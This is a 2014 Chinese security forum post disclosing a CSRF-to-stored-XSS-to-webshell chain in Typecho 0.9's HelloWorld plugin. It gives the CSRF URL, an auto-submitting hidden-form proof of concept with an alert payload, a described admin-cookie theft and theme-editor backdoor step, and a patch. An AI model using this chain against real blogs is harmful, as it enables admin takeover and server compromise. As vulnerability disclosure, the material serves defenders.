查看: 12033|回复: 2

Typecho 0.9 CSRF&XSS&GETSHELL

[复制链接]
  • TA的每日心情
    慵懒
    2022-4-16 15:45
  • 签到天数: 247 天

    [LV.8]以坛为家I

    发表于 2014-5-15 14:32:38 | 显示全部楼层 |阅读模式
    本帖最后由 C4r1st 于 2014-5-15 14:35 编辑

    Typecho-300x125.jpg
    1) Vul Description
    Typecho 0.9(13.12.12)是一款国内流行的PHP Blog系统,其程序内置Hello,World插件(默认关闭)存在CSRF漏洞可开启插件。
    插件开启后会在菜单显示简单介绍,存在XSS漏洞,CSRF&XSS配合后可获取管理员Cookie进入后台。

    2) CSRF
    [AppleScript] 纯文本查看 复制代码
    http://localhost/typecho/index.php/action/plugins-edit?activate=Evi1m0


    3) XSS
    [AppleScript] 纯文本查看 复制代码
    <script src="./ff0000team.js"></script>

    4) POC
    [AppleScript] 纯文本查看 复制代码
    <div style="display: none;">
    <img src="http://localhost/typecho/index.php/action/plugins-edit?activate=HelloWorld" />
    <form action="http://localhost/typecho/index.php/action/plugins-edit?config=HelloWorld" method="post" enctype="application/x-www-form-urlencoded" name="ff0000team">
    <input name="word" value="<img src=@ onerror=alert(222)>">
    <button type="submit"></button>
    </form>
    </div>
    <script>
    setTimeout("document.ff0000team.submit()", 3000);
    </script>

    5) GETSHELL
    http://localhost/typecho/admin/theme-editor.php
    进入后台后编辑模板写入backdoor连接,未过滤危险函数。
    6) Fix
    /typecho/usr/plugins/HelloWorld/Plugin.php 代码65行修改为:
    [AppleScript] 纯文本查看 复制代码
    echo '<span class="message success">' . htmlspecialchars(Typecho_Widget::widget('Widget_Options')->plugin('HelloWorld')->word) . '</span>';


    转自邪红

    评分

    参与人数 2i币 +20 收起 理由
    gty48 + 10 支持原创
    90_ + 10

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情
    无聊
    2016-8-19 10:32
  • 签到天数: 80 天

    [LV.6]常住居民II

    发表于 2014-5-15 15:16:47 | 显示全部楼层
    我擦,又见神牛
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2017-1-9 18:10
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2014-5-15 15:19:54 | 显示全部楼层
    {:soso_e141:}回眸一看百洞生
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-27 21:27 , Processed in 0.034827 second(s), 13 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部